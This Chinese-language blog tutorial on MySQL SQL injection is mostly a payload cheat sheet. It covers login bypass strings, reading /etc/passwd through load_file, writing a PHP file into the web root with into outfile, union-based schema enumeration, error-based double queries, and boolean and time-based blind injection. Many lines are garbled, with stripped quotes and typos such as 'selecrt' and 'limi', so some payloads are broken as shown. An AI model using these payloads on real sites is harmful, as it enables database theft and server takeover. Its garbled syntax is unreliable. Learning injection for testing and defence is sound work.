共計 5115 個字符,預計需要花費 13 分鐘才能閱讀完成。
自動寫代碼機器人,免費開通
本篇內容介紹了“sql 注入基礎知識的介紹”的有關知識,在實際案例的操作過程中,不少人都會遇到這樣的困境,接下來就讓丸趣 TV 小編帶領大家學習一下如何處理這些情況吧!希望大家仔細閱讀,能夠學有所成!
什么是 SQL 注入(SQL Injection)
所謂 SQL 注入式攻擊,就是攻擊者把 SQL 命令插入到 Web 表單的輸入域或頁面請求的查詢字符串,欺騙服務器執行惡意的 SQL 命令。在某些表單中,用戶輸入的內容直接用來構造(或者影響)動態 SQL 命令,或作為存儲過程的輸入參數,這類表單特別容易受到 SQL 注入式攻擊。
mysql 常用注釋
#
–[空格] 或者是 –+
/*…*/
在注意過程中,這些注釋可能都需要進行 urlencode。
mysql 認證繞過
;%00
‘or 1=1 #
‘/*!or */ 1=1 –+
mysql 連接符
mysql 中使用 + 來進行連接。
select * from users where username= zhangsan and ab = a + b
mysql 中常見函數
在進行 sql 注入過程中,會使用到 mysql 中的內置函數。在內置函數中,又分為獲取信息的函數和功能函數。
信息函數是用來獲取 mysql 中的數據庫的信息,功能函數就是傳統的函數用來完成某項操作。
常用的信息函數有:
database(),用于獲取當前所使用的數據庫信息
version(): 返回數據庫的版本, 等價于 @@version
user():返回當前的用戶,等價如 current_user 參數。如:
select user(); #root@localhost
select current_user; #root@localhost
@@datadir,獲取數據庫的存儲位置。
select @@datadir; #D:\xampp\mysql\data\
常見的功能函數有:
load_file(): 從計算機中載入文件, 讀取文件中的數據。
select * from users union select 1,load_file(/etc/passwd),3;
select * from users union select 1,load_file(0x2F6574632F706173737764),3; # 使用 16 進制繞過單引號限制
into outfile:寫入文件,前提是具有寫入權限
select ?php phpinfo(); ? into outfile /var/www/html/xxx.php
select char(60,63,112,104,112,32,112,104,112,105,110,102,111,40,41,59,32,63,62) into outfile /var/www/html/xxx.php
concat(): 返回結果為連接參數產生的字符串。如果其中一個參數為 null,則返回值為 null。
用法如下:
select concat(username,password)from users;
*concat_ws() : 是 concat_ws() 的特殊形式,第一個參數是分隔符,剩下的參數就是字段名。
select concat_ws(, ,username,password) from users;
group_concat() : 用于合并多條記錄中的結果。
用法如下:
select group_concat(username) from users;
#返回的就是 users 表中所有的用戶名,并且是作為一條記錄返回。
subtring() ,substr(): 用于截斷字符串。用法為:substr(str,pos,length),注意 pos 是從 1 開始的。
select substr((select database()),1,1);
ascii(): 用法返回字符所對應的 ascii 值。
select ascii(a #97
length(): 返回字符串的長度。
如:
select length(123456) # 返回 6
is(exp1,exp2,exp2): 如果 exp1 的表達式是 True,則返回 exp2;否則返回 exp3。
如:
select 1,2,if(1=1,3,-1) #1,2,3
selecrt 1,2,if(1=2,3,-1) #1,2,-1
以上就是在進行 sql 注入工程中常用的函數。當然還存在一些使用的不是很多的函數。
now(): 返回當前的系統時間
hex(): 返回字符串的 16 進制
unhex(): 反向的 hex() 的 16 進制
@@basedir(): 反向 mysql 的安裝目錄
@@versin_compile_os: 操作系統
mysql 數據庫元信息
在 mysql 中存在 information_schema 是一個信息數據庫,在這個數據庫中保存了 Mysql 服務器所保存的所有的其他數據庫的信息,如數據庫名,數據庫的表,表的字段名稱
和訪問權限。在 informa_schema 中常用的表有:
schemata: 存儲了 mysql 中所有的數據庫信息,返回的內容與 show databases 的結果是一樣的。
tables: 存儲了數據庫中的表的信息。詳細地描述了某個表屬于哪個 schema,表類型,表引擎。
show tables from secuiry 的結果就是來自這個表
columns: 詳細地描述了某張表的所有的列以及每個列的信息。
show columns from users 的結果就是來自這個表
下面就是利用以上的 3 個表來獲取數據庫的信息。
select database(); # 查選數據庫
select schema_name from information_schema.schemata limit 0,1 # 查詢數據庫
select table_name from information_schema.tables where table_schema=database() limit 0,1; # 查詢表
select column_name from information_schema.columns where table_name= users limit 0,1; # 查詢列
sql 注入類型
sql 注入類型大致可以分為常規的 sql 注入和 sql 盲注。sql 盲注又可以分為基于時間的盲注和基于網頁內容的盲注。
關于 sql 的盲注,網上也有很多的說明,這里也不做過多的解釋。關于盲注的概念,有具體的例子就方便進行說明。
延時注入中,常用的函數就包括了 if() 和 sleep() 函數。
基本的 sql 表達式如下:
select * from users where id=1 and if(length(user())=14,sleep(3),1);
select * from users where id=1 and if(mid(user(),1,1)= r ,sleep(3),1);
寬字節注入
關于寬字節注入,可以參考寬字節注入詳解。寬字節輸入一般是由于網頁編碼與數據庫的編碼不匹配造成的。對于寬字節注入,使用 %d5 或 %df 繞過
mysql 常用語句總結
常規注入
1 order by num # 確定字段長度
1 union select 1,2,3 # 確定字段長度
-1 union select 1,2,3 # 判斷頁面中顯示的字段
-1 union select 1,2,group_concat(schema_name) from information_schema.schemata # 顯示 mysql 中所有的數據庫
-1 union select 1,2 group_concat(table_name) from information_schema.tables where table_schame = dbname /database()/hex(dbname) #
-1 union select 1,2,column_name from information_schema.columns where table_name= table_name limit 0,1 #
-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name= table_name /hex(table_name) limit 0,1 #
-1 union select 1,2,3 AND 1 = 1 在注釋符無法使用的情況下
雙重 SQL 查選
select concat(0x3a,0x3a,(select database()),0x3a,0x3a);
select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a;
select concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables;
select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a; # 這種 sql 語句的寫法,常用于 sql 的盲注。得到數據庫的信息
select count(*),concat(0x3a,0x3a,(select table_name from information_schema.table where table_schema=database() limi 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a; # 得到數據庫的表的信息
#利用姿勢如下:1 AND (select 1 from (select count(*),concat(0x3a,0x3a,(select table_name from information_schema.table where table_schema=database() limi 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a)b) --+
這種利用姿勢是通過 mysql 執行 sql 命令時的報錯信息來得到所需要的信息的,在接下來的文章中會對這種寫法進行詳細地分析。
bool 盲注
1 and ascii(substr(select database(),1,1)) 99
1 and ascii(substr((select table_name from information_schema.tables limit 0,1),1,1)) 90
bool 盲注就是根據 sql 語句執行返回值是 True 或 False 對應的頁面內容會發生,來得到信息。
time 盲注
1 AND select if((select substr(table_name,1,1) from information_schema.tables where table_schema=database() limit 0,1)= e ,sleep(10),null) +
1 AND select if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)= e ,sleep(10),null) --+
上述的 2 種寫法都是等價的,time 盲注余常規的 sql 注入方法不同。time 盲注需要一般需要使用到 if() 和 sleep() 函數。然后根據頁面返回內容的長度,進而知道 sleep() 函數是否有執行。
根據 sleep() 函數是否執行來得到所需的信息。
“sql 注入基礎知識的介紹”的內容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業相關的知識可以關注丸趣 TV 網站,丸趣 TV 小編將為大家輸出更多高質量的實用文章!
向 AI 問一下細節